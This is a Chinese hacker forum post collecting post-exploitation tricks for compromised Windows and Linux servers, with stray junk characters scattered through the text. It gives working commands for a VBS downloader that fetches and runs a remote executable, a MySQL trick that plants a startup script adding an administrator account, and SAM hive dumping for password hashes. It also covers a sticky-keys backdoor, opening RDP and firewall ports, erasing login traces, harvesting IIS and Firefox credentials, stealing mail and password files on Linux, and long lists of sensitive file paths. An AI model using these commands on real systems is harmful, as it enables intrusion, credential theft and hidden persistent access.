5 a$ ~$ d) W3 H) \* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()
& r! b9 C3 c& D/ Q/ h: g
3 J# O1 q6 m; b+ y) o* s9 [（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
$ A* k! k9 g  w4 ~! }————————————————————————————
, x# h1 W2 z+ X6 {1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
( ^7 G; v' r( [! J! j; h! j7 Kalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
1 r/ |1 N1 s+ X- G1 P; J{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
" }- B1 Y8 P% p; W( ^若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
0 X$ @0 q2 A7 g  J}  

, Z6 P' i. s! {2 ]提权先执行systeminfo
token 漏洞补丁号 KB956572
% Y/ r! P# n" p! E! Z" mChurrasco          kb952004
命令行RAR打包~~·
4 }2 i5 T' |3 Q) |rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
" U' D. q& Z! s* R# zfor window：

8 v1 a4 Z- R0 n@echo off
echo #########system info collection
systeminfo
" R! g/ H* m# [2 t1 Xver
) O2 F* ~* Y; s% A2 I2 Yhostname
' j( j4 M3 L8 snet user
net localgroup
( v$ V4 v9 D+ U  anet localgroup administrators
net user guest
. e! J& @! a5 ]; \0 S! Knet user administrator
. C0 {8 f! a# |' V6 B0 Q0 g
echo #######at- with   atq#####
) \7 c$ h+ m. m8 |8 E% A# {* t* Lecho schtask /query

echo
echo ####task-list#############
tasklist /svc
echo
/ B" Q+ b. f0 Aecho ####net-work infomation
ipconfig/all
. {) A- n9 u/ Eroute print
arp -a
netstat -anipconfig /displaydns
echo
$ I8 E* m! @* v" r0 w' Q% Aecho #######service############
sc query type= service state= all
echo #######file-##############
! L% V: E1 ^& F* {$ u" P, b+ Scd \
4 h+ s6 O: H3 b! k: ]tree -F
# l2 F4 }( m% S. ?$ f/ l6 Qfor linux：

, {0 E, T* Q3 U: P8 L#!/bin/bash

4 ]# i; s' a3 B$ j) |echo #######geting sysinfo####
/ ^) ]  B1 X7 S$ T# Eecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
7 }7 K( \4 N+ `* n* @$ ]6 E/ O. K1 Hecho #######basic infomation##
cat /proc/meminfo
echo
" W6 F% O' R9 F( b2 J6 b7 Jcat /proc/cpuinfo
/ c, G/ M* z8 s9 Q; ?7 Pecho
rpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
6 n: G( C% R( s. P& E# O: Y; A

echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
echo #####about var#####
set

echo #####about network###
; K  h0 ^8 }! u; F+ ?* z* b0 c####this is then point in pentest,but i am a new bird,so u need to add some in it
. `" _  C! M/ Rcat /etc/hosts
* A1 `6 _' \( xhostname
ipconfig -a
; {* b1 I, \. k* z; T+ h! b; rarp -v
" s" N4 T$ }3 f; z4 D, T( K& ~echo ########user####
cat /etc/passwd|grep -i sh

* B2 l1 I" h; e3 c" ^; n& @echo ######service####
* s$ b# k1 s9 e& a. O) @# Echkconfig --list

# l  v9 d6 T3 T  Z! `+ lfor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done
& V+ D4 j1 ^9 N$ v$ g+ s  P
6 Y% l2 N: X2 _% klocate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
) R7 v) r& e' r/ I7 L, Gsleep 5
: Y6 a7 E3 q! @locate conf >/tmp/sysconfig 2>dev/null
sleep 5
( a0 z" ?7 h- `: i" ~' llocate config >>/tmp/sysconfig 2>/dev/null
sleep 5
) t, \- ]: \  f' j8 P4 ]5 d
###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
& Z9 o0 b! [  Q4 F; w2 ~rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
4 ]: r0 }  p9 R! C3、ethash 不免杀怎么获取本机hash。
0 D6 g( W% J7 h9 X& T$ `  I首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
* a7 n7 h) e, |' Z0 Q5 K               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
( Q0 [* c; P9 }! U+ ]6 R6 q* G. ^hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
1 ^  n0 v) m1 N5 N2 j8 |——————————————
6 @; M8 `; @7 `6 K' h4、vbs 下载者
) v3 L/ D& S5 f1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
. `5 k4 U' j4 f3 t/ h& h3 cecho sGet.Type = 1 >>c:\windows\cftmon.vbs
! s6 B1 ~9 q# h4 Techo sGet.Open() >>c:\windows\cftmon.vbs
' f2 |3 ]' ~! Z6 Becho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
( K3 a% H, y: R& B3 Wecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
- g/ I9 o  L' J2 becho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
% [/ A% y1 s6 N+ hecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
! N  d  k8 `- I. y2 D" J8 A4 F' ~cftmon.vbs
& ]( o* a# o" H! p3 _
2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
1 Z! w$ o$ a6 z9 Z8 Ss1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
% x/ x4 Y, H8 r& w: d3 u: b* ~Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
0 r2 C  n; O  ]! |/ z- HSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

% i+ g0 I7 n- ~. X- w: M+ Kcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
  n# f, W- O: e5 H" x( {5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
+ g4 A5 T/ ^& y5 J  s; r' r2.开启XP&2003终端服务
- j4 T3 d8 S2 Y4 _& n* G. yREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# Q% _; j' ~$ U- H" @& P( T3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
$ n+ M2 l1 H& W2 Y7 P" U) J1 FREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
# I# A0 h3 C  ~) j0 G4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
7 A1 \2 g' o" |4 m; h& u————————————————
6、create table a (cmd text);
/ B# ~) Z1 |* Finsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
7 X8 ^$ \& g. L$ }insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
  d! X0 s: w& I$ S# Q7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
8 H" {6 z$ ?7 A5 f; t; W_____
8、for /d %i in (d:\freehost\*) do @echo %i
& @: h/ C( }+ f% Y: @
; X$ L' A  W: L) ^7 R6 f+ c& F6 U( `列出d的所有目录
) H4 r0 j8 O% D0 v  
  for /d %i in (???) do @echo %i
$ [$ C: g+ h  m$ t- C% P
- a. P# t! V9 b* P2 _* p( m把当前路径下文件夹的名字只有1-3个字母的打出来
! Z- v9 \* Z. T
2.for /r %i in (*.exe) do @echo %i
  
  h% i; N! o# Y3 }6 r以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
- m, ]8 O, q8 q# c  y  F
% c1 B& c) `" `* W' _# |% Ifor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
9 Y2 e2 S6 ~% S+ N  g' {* A2 {- W4 r
6 k- w' i1 F; X+ M3.for /f %i in (c:\1.txt) do echo %i
; R. u) A# }- G/ I  b  
7 m* k& E) f* C5 z* v# ^/ p  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
6 i$ n; y+ t' N0 i
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
. }: l/ w+ _1 Q  n9 {- m
  delims=后的空格是分隔符 tokens是取第几个位置
( y9 t! }8 s% A5 V; D% W——————————
+ X3 u$ W1 G1 [●注册表:
1.Administrator注册表备份:
1 K% @! M' P( _; l; U$ H" ?8 preg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
' k: i6 n3 V" F! x8 u% V& c" M, c
2.修改3389的默认端口:
% J! }# O! k, j1 l; GHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
: P) H# b- P2 A. D  `# m( C5 ], w
. `7 `3 e4 i, W# T" b3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
/ Q: l6 k) Z5 N. G
4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
0 s3 m" V- U' X1 }
5.禁用TCP/IP端口筛选(需重启):
* m, n9 j5 _/ n4 t- hREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
# N6 w1 S( k6 h% }/ w或者
netsh ipsec dynamic set config ipsecexempt value=0

! @" m% ]$ F4 j2 a, w# F6 y( ^7.停止指派策略"myipsec":
' B% {6 N: l$ u1 T' m4 Qnetsh ipsec static set policy name="myipsec" assign=n
0 Y9 x0 H. e2 {6 z4 S$ i1 b' m
8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

5 c' H9 q9 G' @/ l' |9.另类方法抓系统密码HASH
- }+ t( L% b; Z# S& E& H( _reg save hklm\sam c:\sam.hive
# c/ g. Z8 H  |reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

& U( n9 d/ {7 f+ k3 N10.shift映像劫持
9 X6 s+ j8 T1 D1 ?: X( jreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
5 k+ S& j1 q7 F/ _. l
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
  t$ }7 z# O* j% ^7 ?6 c$ R* f! ^For Each obj3w In objservice
% _, H2 n' U* e( B& echildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
" }' G% Y7 ]" y$ X" o) aset IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
# f: V6 X. y# O; qexit for
+ b1 b  @1 t7 N' h3 zmsgbox("error!")
) s2 z5 d7 z0 H) {. d7 zwscript.quit
7 S1 @9 s3 A0 i( H/ S( Bend if
serverbindings=IIS.serverBindings
( |. h$ G; T. E, z3 c0 UServerComment=iis.servercomment
" K1 ~  K2 _* c6 t! nset IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
- g8 u  x3 N: c/ |3 F# ANext
! {2 f: A, N+ r3 N2 s' }% twscript.echo list
  ?) K) T% ^0 U& X/ Y' k3 B8 eSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
& S3 a: C2 ^- s----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
0 {7 ^; i% ]& l1 R! z2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
0 e. @) U0 n' }9 a  A将folder.htt文件，加入以下代码：
2 o! c5 B1 w$ j5 i$ ^6 N' g9 D* j<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
1 b. @/ y" f) @" p$ _* {5 h</OBJECT>
- J" J4 ?( _$ a9 V8 T  s. `复制代码
- A4 n! y# l; y然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
7 S, z: D# R& E; {* fPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
, X$ r: o1 R2 H  ?1 pasp代码，利用的时候会出现登录问题
9 T  L$ q: x* ~' e; I$ W 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
" k! Q5 \( @1 i; {. r; Z' s 解决方法
url=request.severvariables("path_info")
# X& v6 _0 T' Q6 r path_info可以直接呈现虚拟路径 顺利解析gif大马
" d  r: K) k# [* z5 M
0 I; N8 G: l% o$ ?/ q! I==============================================================
' k* c/ K7 e7 x( d0 S8 @7 ^LINUX常见路径：
$ P$ C/ M6 `' q- S, [. k
* T4 u8 S0 c8 n/ m1 R# B, y/etc/passwd
2 O) e0 ~% m+ O: i; Y- z2 v/ S/etc/shadow
0 d4 ~, Z& Q" r- f9 G+ d% ^% L/etc/fstab
. Q4 y) S3 w" W+ a% ^3 `/etc/host.conf
/etc/motd
# ?! q7 U  g" T* ]# l  ]/etc/ld.so.conf
0 p- w3 b- R1 D" V; [/var/www/htdocs/index.php
4 K0 _0 u" P& s, _& z/var/www/conf/httpd.conf
- V4 \1 x, d! U/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
9 L" w' y5 _, J; Q0 w/var/www/index.php
/opt/www/conf/httpd.conf
$ N) a9 D& X" y. q3 ]/opt/www/htdocs/index.php
4 x% ]" V1 `2 P" P/opt/www/htdocs/index.html
; Q9 N. b& u+ h$ J  N7 s6 E: H/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
9 R" b' n" {1 z: x) I2 t5 Y' E/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
( m2 q0 |2 G" A! i/tmp/apache/htdocs/index.php
( S' V$ o6 K8 H* a1 U' H, X/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
( R* h5 N( L; Q, n( ]6 I) i1 X9 r/www/php4/php.ini
/www/php5/php.ini
+ Y' L3 ^  R0 `( ~# n( @  a/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
2 A! l! v2 r; j5 d/apache/apache2/conf/httpd.conf
, |: M! y+ N5 U  \/etc/apache/apache.conf
/etc/apache2/apache.conf
2 O( ^7 @" j& X6 a9 M# d( [! c% M/etc/apache/httpd.conf
4 N% @; C9 n+ X6 y7 c/etc/apache2/httpd.conf
7 I: R# n  B' h* T1 J$ _# P! h/etc/apache2/vhosts.d/00_default_vhost.conf
+ v/ O$ I6 I2 p+ }/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
1 S2 r! Z, b/ _+ @/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
# [# [7 d/ b% X) l/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
' N5 z* o3 |+ D* @& N! k/etc/httpd/logs/access_log
$ h& ]5 `3 z! ?- J( }/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
( q. [) v  Z1 h4 U4 d, T  I/home/apache2/conf/httpd.conf
0 W  K8 `. A% N& a  C. ]3 U% R1 i/var/log/apache/error_log
/var/log/apache/error.log
6 l6 S" K5 O+ H) {! b/var/log/apache/access_log
/var/log/apache/access.log
$ t8 j4 X* c' ~/ B9 R* ?/var/log/apache2/error_log
/var/log/apache2/error.log
: o; H* e5 [2 x. P3 I0 R/var/log/apache2/access_log
: }  {) ^, j! \1 b/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
! t. A; O/ ]! r9 j; Y/var/www/logs/access_log
8 I* D/ e7 B2 f' s- z% {  I/ y/ N/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
7 k! U' R* a- S' w! S: ]/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
1 t# O; M2 g7 [8 w! _/ P! @' k/usr/local/apache/logs/access_logaccess_log.old
4 k4 V7 r5 w& N( |& S/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
: F% D, i- [: ^: u1 o) j) [/etc/init.d/httpd
8 K+ J) E1 W& b+ p/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
9 ^) H% x3 w& s$ ~/usr/lib/php/php.ini
/usr/local/etc/php.ini
8 V" {# R7 r3 O+ A7 N# @/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
& i) {( r9 A, Z# r0 T) _" B; t& O  f/usr/local/php4/lib/php.ini
. a5 B# O; W1 P* E9 A# d/usr/local/php4/php.ini
9 }: ^* d: q  r6 Q" U/usr/local/php4/lib/php.ini
; v' ?( {1 V+ J' q4 {# w) E/ T/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
* R8 w5 O7 P- W; x$ d/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
0 ~8 X2 C; T' w3 _5 x/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
- o7 m* ?( [8 R9 i; e9 t. E: L/etc/php4/apache2/php.ini
6 |. o  M/ |% ]/etc/php5/apache/php.ini
' ]7 e. L& C- r4 n! e  z/etc/php5/apache2/php.ini
0 a& b0 D, h7 y; i/etc/php/php.ini
  ?2 G; ~, N2 i* t5 _/ U" C5 P  u) {4 T/etc/php/php4/php.ini
/etc/php/apache/php.ini
" a$ w' g2 o& O6 k/etc/php/apache2/php.ini
/web/conf/php.ini
- R# S) m) J- ?( K# B/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
8 k  l% d( x6 P" f% f: u- U/php/php.ini
9 w; P, P) Q, |/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/ v: X. I% `6 h4 `: V  s/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
0 f& j  z' \, S/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
% ?$ g& C" z- g8 S/var/log/mysql/mysql-slow.log
. Y" \4 w1 I2 L7 w7 }" ]* ?2 m/var/mysql.log
% g7 e) B, A3 \/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
7 F) ]! l2 n, |) L) ?2 i/etc/mysql/my.cnf
8 g% ?" T( v$ M5 ]/ Y/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
* t$ N2 H5 l: e) Z/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
: o/ \8 E# O, Y+ h/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
5 k; o' g4 _+ l' _/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
, K7 Y, z( {2 }# r! q
1 Y5 \6 o; _( d9 _- {+ c2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
. \& I1 Y# k0 i7 O5 m4 j( r8 P: a' P
c:\windows\php.ini
  I2 f: T9 e. J. `$ ac:\boot.ini
c:\1.txt
- _5 \1 |- l8 @7 k# _/ c+ ec:\a.txt
/ g1 O; U3 {$ T7 j
c:\CMailServer\config.ini
4 j6 w) k' W% I0 |* wc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
, m8 z) e" V! N' Vc:\program files\CMailServer\WebMail\index.asp
& u# u* N- H, |0 ~C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
7 ?4 J( b% X6 F& l6 @+ ?3 J9 y, N
1 o' V2 v. p( N, @! D# ?+ pc:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
4 |# B; p& m! ^C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
" W7 g  u  H9 t4 b# e3 d- M/ O
6 ?- x3 _0 Q4 |' I8 ZC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
* V5 r* \! ~& |7 a. Q. B: e0 J" A* aC:\WINDOWS\web.config
% i4 Q' `  d- {c:\web\index.html
/ D: t: d$ x6 Oc:\www\index.html
c:\WWWROOT\index.html
. Z. q. x4 Z1 F1 P8 x5 E+ x# G$ Uc:\website\index.html
c:\web\index.asp
2 l- c+ `/ l' Ac:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
) T! Y8 ?& [! }- r8 s- g7 Pc:\web\index.php
" I1 W7 S* C; C/ M8 }+ Uc:\www\index.php
" K; ^7 b' U/ I& F- fc:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
/ o! {( X% ^! Q- ^+ z/ }c:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
" q- [. j$ u8 z% z# t4 vc:\www\default.asp
  y5 w! `3 `6 N) r  r1 {, C0 X$ rc:\wwwsite\default.asp
c:\WWWROOT\default.asp
c:\web\default.php
. m3 ?; n7 g0 B+ _c:\www\default.php
: [: Y' q/ H. o8 q" T% o# @c:\WWWROOT\default.php
2 J3 U- ]% h) ^( M- l( Cc:\WWWsite\default.php
9 C1 r0 r7 o: t2 @1 KC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
( G. P% G) R& W) zC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
3 t" F# ?; t  O% Y- ?, EC:\Program Files\Internet Explorer\IEXPLORE.EXE
/ M4 g) W0 e( F. _C:\Program Files\winrar\rar.exe
- G! A: ~- F+ H. T$ E  uC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
1 p8 q# }0 U/ C  I" HC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
$ Y6 @: y" r$ {; q$ vc:\rising.ini
6 t' l1 _0 A/ E, h: kC:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
; o# l: I! {' KC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
1 a, h$ _' D9 i) AC:\Documents and Settings\Administrator\桌面\1.txt
: c$ a6 ~  Q& s9 FC:\Documents and Settings\Administrator\My Documents\a.txt
4 [0 E5 x1 Q; e, U" w, N) oC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
3 r! E4 Z, S1 r* d7 {8 L) U  O, UE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
1 D( s: Q* {0 u6 \3 EC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
( _2 \2 D/ \8 S& ~" lC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
7 h/ C: ?. a& N, `1 E1 j& A/ {C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
7 I8 V6 `) o" O+ |8 L( N: `C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
- g* G+ Q: Q  F$ Q# t# BC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
4 Q1 t6 ?- ^3 s- EC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
) a3 T' w4 T, {$ z) F: L: qC:\Program Files\MySQL\MySQL Server 5.0\COPYING
7 j# r) s9 J& @$ N0 D6 ^C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
& G5 D8 B# v! |9 EC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
. n- E* |$ I4 x! P, v2 K& |0 bc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
  f5 {. C+ P( F/ Z+ tC:\WINDOWS\system32\inetsrv\w3wp.exe
; X+ H0 s) ]$ ?1 ?; d9 hC:\WINDOWS\system32\inetsrv\inetinfo.exe
  _6 P+ u2 ], B; UC:\WINDOWS\system32\inetsrv\MetaBase.xml
+ E7 D4 ?9 d& R7 y3 @( I( sC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
6 W) d3 V  R: k2 m( N4 g" ?+ ~C:\WINDOWS\system32\config\default.LOG
$ K4 l$ C* ^8 w2 R- u4 t4 wC:\WINDOWS\system32\config\sam
$ b; V: v& b  l4 J3 wC:\WINDOWS\system32\config\system
* N2 E  W* e1 b2 S4 n1 {c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
7 f, J! D8 V$ _0 s, z  q/ dc:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
, Q1 @1 S% }! C- Qc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
6 Q. \8 |5 y  u& f4 Y% T' h/ ac:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
$ m  S: i  Z% L* zC:\Program Files\Apache Group\Apache2\bin\Apache.exe
